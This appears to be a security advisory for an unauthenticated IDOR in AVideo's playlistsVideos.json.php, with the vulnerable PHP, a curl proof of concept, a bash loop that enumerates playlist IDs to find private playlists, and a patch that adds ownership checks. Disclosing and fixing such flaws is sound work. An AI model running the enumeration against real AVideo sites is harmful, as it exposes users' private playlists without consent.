AVideo: Unauthenticated IDOR in playlistsVideos.json.php Exposes Private Playlist Contents

// objects/playlistsVideos.json.php:24-28
if (empty($_REQUEST['playlists_id'])) {
    die('Play List can not be empty');
}
require_once './playlist.php';
$videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']);

// objects/playlist.php:592-597
$sql = "SELECT v.*, p.*,v.created as cre, p.`order` as video_order  "
    . " FROM  playlists_has_videos p "
    . " LEFT JOIN videos as v ON videos_id = v.id "
    . " LEFT JOIN users u ON u.id = v.users_id "
    . " WHERE playlists_id = ? AND v.status != 'i' ";

// objects/playlistsFromUser.json.php:23-27
$publicOnly = true;
if (User::isLogged() && (User::getId() == $requestedUserId || User::isAdmin())) {
    $publicOnly = false;
}
$row = PlayList::getAllFromUser($requestedUserId, $publicOnly);

# No cookies or auth headers needed. Increment playlists_id to enumerate.
curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=1" | python3 -m json.tool

# Iterate through sequential IDs to find private playlists
for i in $(seq 1 50); do
  result=$(curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=$i")
  count=$(echo "$result" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)
  if [ "$count" != "0" ] && [ -n "$count" ]; then
    echo "Playlist $i: $count videos"
  fi
done

# This correctly returns only public playlists for user 1
curl -s "http://TARGET/objects/playlistsFromUser.json.php?users_id=1" | python3 -m json.tool
# Compare: playlistsVideos.json.php returns contents of ALL playlists including private ones

// objects/playlistsVideos.json.php — add after line 27, before getVideosFromPlaylist()
require_once $global['systemRootPath'] . 'plugin/PlayLists/PlayLists.php';

$pl = new PlayList($_REQUEST['playlists_id']);
$plStatus = $pl->getStatus();

// Public playlists are accessible to everyone
if ($plStatus !== 'public') {
    // Private, unlisted, watch_later, and favorite playlists require ownership or admin
    if (!User::isLogged() || (User::getId() != $pl->getUsers_id() && !User::isAdmin())) {
        header('HTTP/1.1 403 Forbidden');
        die(json_encode(['error' => 'You do not have permission to view this playlist']));
    }
}

$videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']);